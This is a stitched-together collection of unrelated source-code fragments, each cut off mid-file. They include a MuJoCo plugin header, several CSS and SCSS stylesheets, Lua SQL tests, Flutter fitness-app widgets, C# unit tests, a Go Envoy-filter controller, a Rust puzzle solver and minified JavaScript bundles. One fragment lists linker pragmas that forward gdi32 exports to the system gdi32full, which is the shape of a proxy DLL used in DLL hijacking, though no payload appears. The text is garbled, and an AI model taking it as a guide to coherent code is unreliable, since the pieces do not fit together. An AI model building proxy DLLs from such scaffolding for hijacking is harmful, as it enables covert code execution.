  static std::optional<Nut> Create(const mjModel* m, mjData* d, int instance);
  Nut(Nut&&) = default;
  ~Nut() = default;

  void Reset();
  void Visualize(const mjModel* m, mjData* d, const mjvOption* opt,
                 mjvScene* scn, int instance);
  void Compute(const mjModel* m, mjData* d, int instance);
  mjtNum Distance(const mjtNum point[3]) const;
  void Gradient(mjtNum grad[3], const mjtNum point[3]) const;

  static void RegisterPlugin();

  mjtNum attribute[NutAttribute::nattribute];

 private:
  Nut(const mjModel* m, mjData* d, int instance);

  SdfVisualizer visualizer_;
};

}  // namespace mujoco::plugin::sdf

#endif  // MUJOCO_PLUGIN_SDF_NUT_H_


; font-size:18pt; font-weight:bold; }
h3 { margin-left: 10px; margin-top: 20px; color:#0000ff; font-family:times new roman; font-size:14pt; font-weight:bold;  }
h4 { margin-left: 10px; margin-top: 20px; font-family:times new roman; font-size:14pt; font-style:italic; }

/*
	 P tag code.  Most of the help files nest P tags inside of blockquote tags (the was the
	 way it had been done in the beginning).  The net effect is that the text is indented.  In
	 modern HTML we would use CSS to do this.  We need to support the Ghidra P tags, nested in
	 blockquote tags, as well as naked P tags.  The following two lines accomplish this.  Note
	 that the 'blockquote p' definition will inherit from the first 'p' definition.
*/
p { margin-left: 40px; font-family:times new roman; font-size:14pt; }
blockquote p { margin-left: 10px; }

p.providedbyplugin { color:#7f7f7f; margin-left: 10px; font-size:14pt; margin-top:100px  }
p.ProvidedByPlugin { color:#7f7f7f; margin-left: 10px; font-size:14pt; margin-top:100px }
p.relatedtopic { color:#800080; margin-left: 10px; font-size:14pt; }
p.RelatedTopic { color:#800080; margin-left: 10px; font-size:14pt; }

/*
	We wish for a tables to have space between it and the preceding element, so that text
	is not too close to the top of the table.  Also, nest the table a bit so that it is clear
	the table relates to the preceding text.
*/
table { margin-left: 20px; margin-top: 10px; width: 80%;}
td { font-family:times new roman; font-size:14pt; vertical-align: top; }
th { font-family:times new roman; font-size:14pt; font-weight:bold; background-color: #EDF3FE; }

code { color: black; font-family: courier new; font-size: 14pt; }
@use 'sass:map';
@use '@angular/material' as mat;

@include mat.core();

$light-app-theme: mat.m2-define-light-theme((
        color: (
                primary: mat.m2-define-palette(mat.$m2-indigo-palette),
                accent:  mat.m2-define-palette(mat.$m2-pink-palette),
                warn:  mat.m2-define-palette(mat.$m2-red-palette)
        )
));
$dark-app-theme: mat.m2-define-dark-theme((
        color: (
                primary: mat.m2-define-palette(mat.$m2-cyan-palette),
                accent: mat.m2-define-palette(mat.$m2-blue-gray-palette),
                warn: mat.m2-define-palette(mat.$m2-amber-palette)
        )
));

@media (prefers-color-scheme: light) {
  @include mat.all-component-themes($light-app-theme);
  body {
    background-color: #f9f9f9;
  }

  :root {
    --primaryColor: #{mat.m2-get-color-from-palette(map.get($light-app-theme, primary), 500)};
    --primaryColorContrast: #{mat.m2-get-color-from-palette(map.get($light-app-theme, primary), 100)};
  }
}

@media (prefers-color-scheme: dark) {
  @include mat.all-component-colors($dark-app-theme);

  b


WHERE "id" = 1
    ]], {} })
    t.assert_equals(err, nil)
    t.assert_equals(r.metadata, {
        { name = "col_1", type = "unsigned" },
    })
    t.assert_items_equals(r.rows, {
        { 3 },
    })

    -- Subquery returning single value.
    r, err = api:call("sbroad.execute", { [[
        SELECT (SELECT "id" FROM "testing_space" WHERE "id" = 1) + "id" FROM "testing_space" WHERE "id" in (1, 2, 3)
    ]], {} })
    t.assert_equals(err, nil)
    t.assert_equals(r.metadata, {
        { name = "col_1", type = "integer" },
    })
    t.assert_items_equals(r.rows, {
        { 2 },
        { 3 },
        { 4 },
    })
end

g.test_under_selection = function()
    local api = cluster:server("api-1").net_box

    -- Single value in selection.
    local r, err = api:call("sbroad.execute", { [[
        SELECT "id" FROM "testing_space" WHERE "id" = (VALUES (1))
    ]], {} })
    t.assert_equals(err, nil)
    t.assert_equals(r.metadata, {
        { name = "id", type = "integer" },
    })
    t.assert_items_equals(r.rows, {
        { 1 }
    })

    -- Arithmetic values in selection.
    r, err = api:call("sbroad.execute", { [[
        SELECT "id" FROM "testing_space" WHERE "id" = (VALUES (1)) + (VALUES (3)) / (VALUES (2))
    ]], {} })
    t.assert_equals(err, nil)
    t.assert_equals(r.metadata, {
        { name = "id", type = "integer" },
    })
    t.assert_items_equals(r.rows, {
        { 2 }
    })
end

g.test_under_group_by = function()
    local api = cluster:server("api-1").net_box

    -- Single value in group by.
    local r, err = api:call("sbroad.execute", { [[
        SELECT count(*) FROM "testing_space" GROUP BY "product_units" + (VALUES (1))
    ]], {} })
    t.assert_equals(err, nil)
    t.assert_equals(r.metadata, {
        { name = "col_1", type = "decimal" },
    })
    t.assert_items_equals(r.rows, {
        { 1 },
        { 3 },
        { 2 },
    })

    -- Single value in group by and having.
    r, err = api:call("sbroad.execute", { [[
        SELECT sum("id") + 1, count(*)
        FROM "testing_space"
        GROUP BY "product_units" + (VALUES (1))
        HAVING sum("id") + (VALUES (1)) > 7
    ]], {} })
    t.assert_equals(err, nil)
    t.assert_equals(r.metadata, {
        { name = "col_1", type = "decimal" },
        { name = "col_2", type = "decimal" },
    })
    t.assert_items_equals(r.rows, {
        { 10, 2 },
    })

    -- Implicit group by.
    r, err = api:call("sbroad.execute", { [[
        SELECT sum("id" + (VALUES (1))) from "testing_space"
    ]], {} })
    t.assert_equals(err, nil)
    t.assert_equals(r.metadata, {
        { name = "col_1", type = "decimal" },
    })
    t.assert_items_equals(r.rows, {
        { 27 }
    })
end

g.test_under_order_by = function()
    local api = cluster:server("api-1").net_box

    -- Single value in order by.
    local r, err = api:call("sbroad.execute", { [[
        SELECT "name", "id" FROM "testing_space" ORDER BY "name" || (VALUES ('a'))
    ]], {} })
    t.assert_equals(err, nil)


(colors: AppColors.primaryG,begin: Alignment.centerLeft,end: Alignment.centerRight),
          borderRadius: BorderRadius.circular(25),
          boxShadow: const [BoxShadow(color: Colors.black26,blurRadius: 2,offset: Offset(0,2))]
        ),
        child: MaterialButton(
          minWidth: double.maxFinite,
          height: 50,
          onPressed:onPressed,
          shape: RoundedRectangleBorder(borderRadius: BorderRadius.circular(25)),
          textColor: AppColors.primaryColor1,
          child: Text(
            title,
            style: TextStyle(
              fontSize: 16,
              color: AppColors.whiteColor,
              fontFamily: "Poppins",
              fontWeight: FontWeight.w700,
            ),
          ),
        ),
      ),
    );
  }
}
import 'package:calendar_agenda/calendar_agenda.dart';
import 'package:fitnessapp/common_widgets/round_gradient_button.dart';
import 'package:fitnessapp/utils/app_colors.dart';
import 'package:flutter/material.dart';

import '../../utils/common.dart';
import 'add_schedule_view.dart';

class WorkoutScheduleView extends StatefulWidget {
  static String routeName = "/WorkoutScheduleView";
  const WorkoutScheduleView({Key? key}) : super(key: key);

  @override
  State<WorkoutScheduleView> createState() => _WorkoutScheduleViewState();
}

class _WorkoutScheduleViewState extends State<WorkoutScheduleView> {

  CalendarAgendaController _calendarAgendaControllerAppBar =
  CalendarAgendaController();
  late DateTime _selectedDateAppBBar;

  List eventArr = [
    {
      "name": "Ab Workout",
      "start_time": "22/06/2023 07:30 AM",
    },
    {
      "name": "Upperbody Workout",
      "start_time": "07/06/2023 09:00 AM",
    },
    {
      "name": "Lowerbody Workout",
      "start_time": "07/06/2023 03:00 PM",
    },
    {
      "name": "Ab Workout",
      "start_time": "08/06/2023 10:30 AM",
    },
    {
      "name": "Upperbody Workout",
      "start_time": "08/06/2023 09:00 AM",
    },
    {
      "name": "Lowerbody Workout",
      "start_time": "08/06/2023 03:00 PM",
    },
    {
      "name": "Ab Workout",
      "start_time": "09/06/2023 07:30 AM",
    },
    {
      "name": "Upperbody Workout",
      "start_time": "09/06/2023 09:00 AM",
    },
    {
      "name": "Lowerbody Workout",
      "start_time": "09/06/2023 03:00 PM",
    }
  ];

  List selectDayEventArr = [];

  @override
  void initState() {
    super.initState();
    _selectedDateAppBBar = DateTime.now();
    setDayEventWorkoutList();
  }

  void setDayEventWorkoutList() {
    var date = dateToStartDate(_selectedDateAppBBar);
    selectDayEventArr = eventArr.map((wObj) {
      return {
        "name": wObj["name"],
        "start_time": wObj["start_time"],
        "date": stringToDate(wObj["start_time"].toString(),
            formatStr: "dd/MM/yyyy hh:mm aa")
      };
    }).where((wObj) {
      return dateToStartDate(wObj["date"] as DateTime) == date;
    }).toList();

    if( mounted  ) {
      setState(() {

      });
    }
  }

  @override
  Widget build(BuildContext context) {
    var media = MediaQuery.of(context).size;
    return Scaffold(
      backgroundColor: AppColors.whiteColor,
      appBar: AppBar(
        backgroundColor: AppColors.whiteColor,
        centerTitle: true,
        elevation: 0,
        leading: InkWell(
          onTap: () {
            Navigator.pop(context);
          },
          child: Container(
            margin: const EdgeInsets.all(8),
            height: 40,
            width: 40,
            alignment: Alignment.center,
            decoration: BoxDecoration(
                co


32full.GdiGetLocalBrush\"")
#pragma comment(linker, "/export:GdiGetLocalDC=\"C:\\Windows\\System32\\gdi32full.GdiGetLocalDC\"")
#pragma comment(linker, "/export:GdiGetLocalFont=\"C:\\Windows\\System32\\gdi32full.GdiGetLocalFont\"")
#pragma comment(linker, "/export:GdiGetPageCount=\"C:\\Windows\\System32\\gdi32full.GdiGetPageCount\"")
#pragma comment(linker, "/export:GdiGetPageHandle=\"C:\\Windows\\System32\\gdi32full.GdiGetPageHandle\"")
#pragma comment(linker, "/export:GdiGetSpoolFileHandle=\"C:\\Windows\\System32\\gdi32full.GdiGetSpoolFileHandle\"")
#pragma comment(linker, "/export:GdiGetVariationStoreDelta=\"C:\\Windows\\System32\\gdi32full.GdiGetVariationStoreDelta\"")
#pragma comment(linker, "/export:GdiGradientFill=\"C:\\Windows\\System32\\gdi32full.GdiGradientFill\"")
#pragma comment(linker, "/export:GdiInitializeLanguagePack=\"C:\\Windows\\System32\\gdi32full.GdiInitializeLanguagePack\"")
#pragma comment(linker, "/export:GdiIsMetaFileDC=\"C:\\Windows\\System32\\gdi32full.GdiIsMetaFileDC\"")
#pragma comment(linker, "/export:GdiIsMetaPrintDC=\"C:\\Windows\\System32\\gdi32full.GdiIsMetaPrintDC\"")
#pragma comment(linker, "/export:GdiIsPlayMetafileDC=\"C:\\Windows\\System32\\gdi32full.GdiIsPlayMetafileDC\"")
#pragma comment(linker, "/export:GdiIsScreenDC=\"C:\\Windows\\System32\\gdi32full.GdiIsScreenDC\"")
#pragma comment(linker, "/export:GdiIsTrackingEnabled=\"C:\\Windows\\System32\\gdi32full.GdiIsTrackingEnabled\"")
#pragma comment(linker, "/export:GdiIsUMPDSandboxingEnabled=\"C:\\Windows\\System32\\gdi32full.GdiIsUMPDSandboxingEnabled\"")
#pragma comment(linker, "/export:GdiLoadType1Fonts=\"C:\\Windows\\System32\\gdi32full.GdiLoadType1Fonts\"")
#pragma comment(linker, "/export:GdiPlayDCScript=\"C:\\Windows\\System32\\gdi32full.GdiPlayDCScript\"")
#pragma comment(linker, "/export:GdiPlayEMF=\"C:\\Windows\\System32\\gdi32full.GdiPlayEMF\"")
#pragma comment(linker, "/export:GdiPlayJournal=\"C:\\Windows\\System32\\gdi32full.GdiPlayJournal\"")
#pragma comment(linker, "/export:GdiPlayPageEMF=\"C:\\Windows\\System32\\gdi32full.GdiPlayPageEMF\"")
#pragma comment(linker, "/export:GdiPlayPrivatePageEMF=\"C:\\Windows\\System32\\gdi32full.GdiPlayPrivatePageEMF\"")
#pragma comment(linker, "/export:GdiPlayScript=\"C:\\Windows\\System32\\gdi32full.GdiPlayScript\"")
#pragma comment(linker, "/export:GdiPrinterThunk=\"C:\\Windows\\System32\\gdi32full.GdiPrinterThunk\"")
#pragma comment(linker, "/export:GdiProcessSetup=\"C:\\Windows\\System32\\gdi32full.GdiProcessSetup\"")
#pragma comment(linker, "/export:GdiQueryTable=\"C:\\Windows\\System32\\gdi32full.GdiQueryTable\"")
#pragma comment(linker, "/export:GdiRealizationInfo=\"C:\\Windows\\System32\\gdi32full.GdiRealizationInfo\"")
#pragma comment(linker, "/export:GdiReleaseLocalDC=\"C:\\Windows\\System32\\gdi32full.GdiReleaseLocalDC\"")
#pragma comment(li


;
			smartBuffer.AddValues(new TimeStamp(4), new ScalarSet(new double[3] {  7.1,  8.1,  9.1 }));
			smartBuffer.AddValues(new TimeStamp(5), new ScalarSet(new double[3] { 10.1, 11.1, 12.1 }));

			smartBuffer.ClearBefore(new TimeStamp(0.5));
			Assert.AreEqual(4,smartBuffer.TimesCount);
			smartBuffer.CheckBuffer();

			smartBuffer.ClearBefore(new TimeStamp(1));
			Assert.AreEqual(4,smartBuffer.TimesCount);
			smartBuffer.CheckBuffer();

			smartBuffer.ClearBefore(new TimeStamp(1.1));
			Assert.AreEqual(4,smartBuffer.TimesCount);
			Assert.AreEqual(1.1,((ScalarSet) smartBuffer.GetValuesAt(0)).GetScalar(0));
			Assert.AreEqual(1, ((ITimeStamp) smartBuffer.GetTimeAt(0)).ModifiedJulianDay);
			smartBuffer.CheckBuffer();

			smartBuffer.ClearBefore(new TimeStamp(4.1));
			Assert.AreEqual(2, smartBuffer.TimesCount);
			Assert.AreEqual(7.1,((ScalarSet) smartBuffer.GetValuesAt(0)).GetScalar(0));
			Assert.AreEqual(4, ((ITimeStamp) smartBuffer.GetTimeAt(0)).ModifiedJulianDay);
			smartBuffer.CheckBuffer();

			smartBuffer.ClearBefore(new TimeStamp(5.1));
			Assert.AreEqual(1, smartBuffer.TimesCount);
			Assert.AreEqual(10.1,((ScalarSet) smartBuffer.GetValuesAt(0)).GetScalar(0));
			Assert.AreEqual(5, ((ITimeStamp) smartBuffer.GetTimeAt(0)).ModifiedJulianDay);
			smartBuffer.CheckBuffer();

			SmartBuffer timeSpanBuffer = new SmartBuffer();
			timeSpanBuffer.AddValues(new Oatc.OpenMI.Sdk.Backbone.TimeSpan(new TimeStamp(1),new TimeStamp(3)), new ScalarSet(new double[3] { 1.1,  2.1,   3.1 }));
			timeSpanBuffer.AddValues(new Oatc.OpenMI.Sdk.Backbone.TimeSpan(new TimeStamp(3),new TimeStamp(5)), new ScalarSet(new double[3] { 4.1,  5.1,   6.1 }));
			timeSpanBuffer.AddValues(new Oatc.OpenMI.Sdk.Backbone.TimeSpan(new TimeStamp(5),new TimeStamp(7)), new ScalarSet(new double[3] { 7.1,  8.1,   9.1 }));
			timeSpanBuffer.AddValues(new Oatc.OpenMI.Sdk.Backbone.TimeSpan(new TimeStamp(7),new TimeStamp(9)), new ScalarSet(new double[3] { 10.1, 11.1, 12.1 }));

			timeSpanBuffer.ClearBefore(new TimeStamp(0.5));
			Assert.AreEqual(4,timeSpanBuffer.TimesCount);
			timeSpanBuffer.CheckBuffer();

			timeSpanBuffer.ClearBefore(new TimeStamp(1.0));
			Assert.AreEqual(4,timeSpanBuffer.TimesCount);
			timeSpanBuffer.CheckBuffer();

			timeSpanBuffer.ClearBefore(new TimeStamp(2.0));
			Assert.AreEqual(4,timeSpanBuffer.TimesCount);
			timeSpanBuffer.CheckBuffer();

			timeSpanBuffer.ClearBefore(new TimeStamp(3.0));
			Assert.AreEqual(4,timeSpanBuffer.TimesCount);
			timeSpanBuffer.CheckBuffer();

			timeSpanBuffer.ClearBefore(new TimeStamp(4.0));
			Assert.AreEqual(4,timeSpanBuffer.TimesCount);
			Assert.AreEqual(1.1,((ScalarSet) timeSpanBuffer.GetValuesAt(0)).GetScalar(0));
			Assert.AreEqual(1, ((ITimeSpan) timeSpanBuffer.GetTimeAt(0)).Start.ModifiedJulian


language then
    table.insert(cmd, args_list.language)
  elseif options.language then
    table.insert(cmd, options.language)
  else
    local ft = normalise_ft(vim.bo.filetype)
    table.insert(cmd, ft)
  end

  -- Run the command and get the output
  local ret = vim.fn.system(cmd, lines)
  if string.find(ret, "WROTE") then
    return vim.notify("File saved to" .. string.sub(ret, 8), vim.log.levels.INFO, { title = "freeze.nvim" })
  else
    return vim.notify("freeze returned: " .. ret, vim.log.levels.WARN, { title = "freeze.nvim" })
  end
end

-- Define commands for neovim
M.setup = function(opts)
  local options = M.parse_options(opts)

  vim.api.nvim_create_user_command("Freeze", function(args)
    M.start(args, options)
    -- If the user wants to open the


a.GroupVersionKind{
					Group:   orbit.GroupVersionKind().Group,
					Version: orbit.GroupVersionKind().Version,
					Kind:    orbit.Kind,
				}),
			},
		},
		Spec: newSpec,
	}

	err = r.Get(context.TODO(), req.NamespacedName, envoyFilter)
	if errors.IsNotFound(err) {
		err = r.Create(context.TODO(), envoyFilter)
		if err != nil {
			return fmt.Errorf("EnvoyFilter %s.%s create error: %w", envoyName, orbit.Namespace, err)
		}
		r.Log.WithValues("orbit", fmt.Sprintf("%s.%s", orbit.Name, orbit.Namespace)).
			Info("EnvoyFilter created", envoyFilter.GetName(), orbit.Namespace)
		return nil
	} else if err != nil {
		return fmt.Errorf("EnvoyFilter %s.%s get query error: %w", envoyName, orbit.Namespace, err)
	}

	if envoyFilter != nil {
		if diff := cmp.Diff(newSpec, envoyFilter.Spec); diff != "" {
			clone := envoyFilter.DeepCopy()
			clone.Spec = newSpec
			err = r.Update(context.TODO(), clone)
			if err != nil {
				return fmt.Errorf("EnvoyFilter %s.%s update error: %w", envoyName, orbit.Namespace, err)
			}
			r.Log.WithValues("orbit", fmt.Sprintf("%s.%s", orbit.Name, orbit.Namespace)).
				Info("EnvoyFilter updated", envoyFilter.GetName(), orbit.Namespace)
		}
	}

	return nil
}

func generateOutboudValue(orbit *orbitv1alpha1.Orbit) (*types.Struct, error) {
	var out = &types.Struct{}

	out.Fields = map[string]*types.Value{}
	out.Fields["@type"] = &types.Value{Kind: &types.Value_StringValue{
		StringValue: "type.googleapis.com/envoy.extensions.filters.http.lua.v3.Lua",
	}}

	headerKey := ""
	for k, _ := range orbit.Spec.TrafficRules.Headers {
		headerKey = k
	}
	out.Fields["inlineCode"] = &types.Value{Kind: &types.Value_StringValue{
		StringValue: fmt.Sprintf(`function envoy_on_request(handle)
  local tag = handle:headers():get("` + headerKey + `")
  local channelValue = os.getenv("ORBIT_CHANNEL_TAG")
  if tag == nil and channelValue ~= nil then
     handle:headers():add("` + headerKey + `", channelValue)
  end
end`),
	}}

	return &types.Struct{
		Fields: map[string]*types.Value{
			"name": {
				Kind: &types.Value_StringValue{
					StringValue: "envoy.lua",
				},
			},
			"typed_config": {
				Kind: &types.Value_StructValue{StructValue: out},
			},
		},
	}, nil
}

func buildHttpFilter(outboundSpec *types.Struct) v1alpha3.EnvoyFilter {
	return v1alpha3.EnvoyFilter{
		ConfigPatches: []*v1alpha3.EnvoyFilter_EnvoyConfigObjectPatch{
			{
				ApplyTo: v1alpha3.EnvoyFilter_HTTP_FILTER,
				Match: &v1alpha3.EnvoyFilter_EnvoyConfigObjectMatch{
					Context: v1alpha3.EnvoyFilter_SIDECAR_OUTBOUND,
					ObjectTypes: &v1alpha3.EnvoyFilter_EnvoyConfigObjectMatch_Listener{
						Listener: &v1alpha3.EnvoyFilter_ListenerMatch{
							FilterChain: &v1alpha3.EnvoyFilter_ListenerMatch_FilterChainMatch{
								Filter: &v1alpha3.EnvoyFilter_ListenerMatch_FilterMatch{
									Name: "envoy.filters.network.http_connection_manager",
									SubFilter: &v1alpha


next()
            .ok_or(ParseFieldError::R2NoHyphen)?
            .parse()
            .map_err(|e| ParseFieldError::R2ToError(e))?;
        Ok(Field {
            r1: r1_from..=r1_to,
            r2: r2_from..=r2_to,
            name: name.to_owned(),
        })
    }
}

#[derive(Clone, Debug, Eq, PartialEq)]
struct Ticket {
    values: Vec<u64>,
}

impl Ticket {
    fn invalid_values(&self, fields: &[Field]) -> Vec<u64> {
        self.values
            .iter()
            .filter(|&value| !fields.iter().any(|field| field.accepts(*value)))
            .copied()
            .collect()
    }
}

impl FromStr for Ticket {
    type Err = ParseIntError;

    fn from_str(s: &str) -> Result<Self, Self::Err> {
        Ok(Ticket {
            values: s.split(',').map(str::parse).collect::<Result<_, _>>()?,
        })
    }
}

#[derive(Clone, Debug, Eq, PartialEq)]
enum ParseInputError {
    ParseFieldError(ParseFieldError),
    NoYourTicketHeader,
    NoYourTicket,
    ParseYourTicketError(ParseIntError),
    NoNearbyTicketsBlankLine,
    NoNearbyTicketsHeader,
    ParseNearbyTicketError(ParseIntError),
}

impl fmt::Display for ParseInputError {
    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
        write!(f, "{:?}", self)
    }
}

impl Error for ParseInputError {}

impl From<ParseFieldError> for ParseInputError {
    fn from(e: ParseFieldError) -> Self {
        ParseInputError::ParseFieldError(e)
    }
}

#[derive(Clone, Debug, Eq, PartialEq)]
struct Input {
    fields: Vec<Field>,
    your_ticket: Ticket,
    nearby_tickets: Vec<Ticket>,
}

impl Input {
    fn part1(&self) -> u64 {
        self.nearby_tickets
            .iter()
            .map(|ticket| ticket.invalid_values(&self.fields))
            .flatten()
            .sum()
    }

    fn validate(&self) -> Self {
        Self {
            fields: self.fields.clone(),
            your_ticket: self.your_ticket.clone(),
            nearby_tickets: self
                .nearby_tickets
                .iter()
                .filter(|&ticket| ticket.invalid_values(&self.fields).is_empty())
                .cloned()
                .collect(),
        }
    }

    fn part2(&self) -> u64 {
        let mut possible_fields = vec![];
        for _i in 0..self.your_ticket.values.len() {
            possible_fields.push(self.fields.clone());
        }
        for ticket in &self.nearby_tickets {
            for (i, &value) in ticket.values.iter().enumerate() {
                possible_fields[i].retain(|field| field.accepts(value));
            }
        }
        let mut unambiguous_fields = vec![];
        loop {
            let mut had_ambiguous_fields = false;
            for possible_field in possible_fields.iter_mut() {
                if possible_field.len() == 1 {
                    unambiguous_fields.push(possible_field[0].clone());
                } else {
                    had_ambiguous_fields = true;
                    possible_field.retain(|field| !unambiguous_fields.contains(&field));
                }
            }
            if !had_ambiguous_fields {
                break;
            }
        }
        possible_fields
            .iter()
            .enumerate()
            .map(|(i, possible_field)| {
                if possible_field.len() != 1


ck;
  text-decoration: none;
  margin: 0 2px 0 0;
  padding: 0;
  width: 16px;
  height: 16px;
}
#jstree-dnd .jstree-ok {
  background: green;
}
#jstree-dnd .jstree-er {
  background: red;
}
#jstree-dnd .jstree-copy {
  margin: 0 2px 0 2px;
}
.jstree-default-dark .jstree-node,
.jstree-default-dark .jstree-icon {
  background-repeat: no-repeat;
  background-color: transparent;
}
.jstree-default-dark .jstree-anchor,
.jstree-default-dark .jstree-wholerow {
  transition: background-color 0.15s, box-shadow 0.15s;
}
.jstree-default-dark .jstree-hovered {
  background: #555555;
  border-radius: 2px;
  box-shadow: inset 0 0 1px #555555;
}
.jstree-default-dark .jstree-clicked {
  background: #5fa2db;
  border-radius: 2px;
  box-shadow: inset 0 0 1px #666666;
}
.jstree-default-dark .jstree-no-icons .jstree-anchor > .jstree-themeicon {
  display: none;
}
.jstree-default-dark .jstree-disabled {
  background: transparent;
  color: #666666;
}
.jstree-default-dark .jstree-disabled.jstree-hovered {
  background: transparent;
  box-shadow: none;
}
.jstree-default-dark .jstree-disabled.jstree-clicked {
  background: #333333;
}
.jstree-default-dark .jstree-disabled > .jstree-icon {
  opacity: 0.8;
  filter: url("data:image/svg+xml;utf8,<svg xmlns=\'http://www.w3.org/2000/svg\'><filter id=\'jstree-grayscale\'><feColorMatrix type=\'matrix\' values=\'0.3333 0.3333 0.3333 0 0 0.3333 0.3333 0.3333 0 0 0.3333 0.3333 0.3333 0 0 0 0 0 1 0\'/></filter></svg>#jstree-grayscale");
  /* Firefox 10+ */
  filter: gray;
  /* IE6-9 */
  -webkit-filter: grayscale(100%);
  /* Chrome 19+ & Safari 6+ */
}
.jstree-default-dark .jstree-search {
  font-style: italic;
  color: #ffffff;
  font-weight: bold;
}
.jstree-default-dark .jstree-no-checkboxes .jstree-checkbox {
  display: none !important;
}
.jstree-default-dark.jstree-checkbox-no-clicked .jstree-clicked {
  background: transparent;
  box-shadow: none;
}
.jstree-default-dark.jstree-checkbox-no-clicked .jstree-clicked.jstree-hovered {
  background: #555555;
}
.jstree-default-dark.jstree-checkbox-no-clicked > .jstree-wholerow-ul .jstree-wholerow-clicked {
  background: transparent;
}
.jstree-default-dark.jstree-checkbox-no-clicked > .jstree-wholerow-ul .jstree-wholerow-clicked.jstree-wholerow-hovered {
  background: #555555;
}
.jstree-default-dark > .jstree-striped {
  min-width: 100%;
  display: inline-block;
  background:


        }
      }
      d = d.add(1, "d");
    }
    const rectangles = svg.append("g").selectAll("rect").data(excludeRanges).enter();
    rectangles.append("rect").attr("id", function(d2) {
      return "exclude-" + d2.start.format("YYYY-MM-DD");
    }).attr("x", function(d2) {
      return timeScale(d2.start) + theSidePad;
    }).attr("y", conf.gridLineStartPadding).attr("width", function(d2) {
      const renderEnd = d2.end.add(1, "day");
      return timeScale(renderEnd) - timeScale(d2.start);
    }).attr("height", h2 - theTopPad - conf.gridLineStartPadding).attr("transform-origin", function(d2, i) {
      return (timeScale(d2.start) + theSidePad + 0.5 * (timeScale(d2.end) - timeScale(d2.start))).toString() + "px " + (i * theGap + 0.5 * h2).toString() + "px";
    }).attr("class", "exclude-range");
  }
  (0,_chunk_YTJNT7DU_mjs__WEBPACK_IMPORTED_MODULE_1__/* .__name */ .eW)(drawExcludeDays, "drawExcludeDays");
  function makeGrid(theSidePad, theTopPad, w2, h2) {
    let bottomXAxis = (0,d3__WEBPACK_IMPORTED_MODULE_7__/* .axisBottom */ .LLu)(timeScale).tickSize(-h2 + theTopPad + conf.gridLineStartPadding).tickFormat((0,d3__WEBPACK_IMPORTED_MODULE_7__/* .timeFormat */ .i$Z)(diagObj.db.getAxisFormat() || conf.axisFormat || "%Y-%m-%d"));
    const reTickInterval = /^([1-9]\d*)(millisecond|second|minute|hour|day|week|month)$/;
    const resultTickInterval = reTickInterval.exec(
      diagObj.db.getTickInterval() || conf.tickInterval
    );
    if (resultTickInterval !== null) {
      const every = resultTickInterval[1];
      const interval = resultTickInterval[2];
      const weekday2 = diagObj.db.getWeekday() || conf.weekday;
      switch (interval) {
        case "millisecond":
          bottomXAxis.ticks(d3__WEBPACK_IMPORTED_MODULE_7__/* .timeMillisecond */ .U8T.every(every));
          break;
        case "second":
          bottomXAxis.ticks(d3__WEBPACK_IMPORTED_MODULE_7__/* .timeSecond */ .S1K.every(every));
          break;
        case "minute":
          bottomXAxis.ticks(d3__WEBPACK_IMPORTED_MODULE_7__/* .timeMinute */ .Z_i.every(every));
          break;
        case "hour":
          bottomXAxis.ticks(d3__WEBPACK_IMPORTED_MODULE_7__/* .timeHour */ .WQD.every(every));
          break;
        case "day":
          bottomXAxis.ticks(d3__WEBPACK_IMPORTED_MODULE_7__/* .timeDay */ .rr1.every(every));
          break;
        case "week":
          bottomXAxis.ticks(mapWeekdayToTimeFunction[weekday2].every(every));
          break;
        case "month":
          bottomXAxis.ticks(d3__WEBPACK_IMPORTED_MODULE_7__/* .timeMonth */ .F0B.every(every));
          break;
      }
    }
    svg.append("g").attr("class", "grid").attr("transform", "translate(" + theSidePad + ", " + (h2 - 50) + ")").call(bottomXAxis).selectAll("text").style("text-anchor", "middle").attr("fill", "#000").attr("stroke", "none").attr("font-size", 10).attr("dy", "1em");
    if (diagObj.db.topAxisEnabled() ||


:"title.class",begin:/(\b[A-Z][a-zA-Z0-9_]+)/,relevance:0},{className:"number",begin:"(\\b0o[0-7_]+)|(\\b0b[01_]+)|(\\b0x[0-9a-fA-F_]+)|(-?\\b[0-9][0-9_]*(\\.[0-9_]+([eE][-+]?[0-9]+)?)?)",relevance:0},{className:"variable",begin:"(\\$\\W)|((\\$|@@?)(\\w+))"}];return a.contains=f,{name:"Elixir",aliases:["ex","exs"],keywords:i,contains:f}}},8155:e=>{e.exports=function(e){const n={variants:[e.COMMENT("--","$"),e.COMMENT(/\{-/,/-\}/,{contains:["self"]})]},t={className:"type",begin:"\\b[A-Z][\\w']*",relevance:0},i={begin:"\\(",end:"\\)",illegal:'"',contains:[{className:"type",begin:"\\b[A-Z][\\w]*(\\((\\.\\.|,|\\w+)\\))?"},n]};return{name:"Elm",keywords:["let","in","if","then","else","case","of","where","module","import","exposing","type","alias","as","infix","infixl","infixr","port","effect","command","subscription"],contains:[{beginKeywords:"port effect module",end:"exposing",keywords:"port effect module where command subscription exposing",contains:[i,n],illegal:"\\W\\.|;"},{begin:"import",end:"$",keywords:"import as exposing",contains:[i,n],illegal:"\\W\\.|;"},{begin:"type",end:"$",keywords:"type alias",contains:[t,i,{begin:/\{/,end:/\}/,contains:i.contains},n]},{beginKeywords:"infix infixl infixr",end:"$",contains:[e.C_NUMBER_MODE,n]},{begin:"port",end:"$",keywords:"port",contains:[n]},{className:"string",begin:"'\\\\?.",end:"'",illegal:"."},e.QUOTE_STRING_MODE,e.C_NUMBER_MODE,t,e.inherit(e.TITLE_MODE,{begin:"^[_a-z][\\w']*"}),n,{begin:"->|<-"}],illegal:/;/}}},8188:e=>{e.exports=function(e){const n="[a-z'][a-zA-Z0-9_']*",t="("+n+":"+n+"|"+n+")",i={keyword:"after and andalso|10 band begin bnot bor bsl bzr bxor case catch cond div end fun if let not of orelse|10 query receive rem try when xor",literal:"false 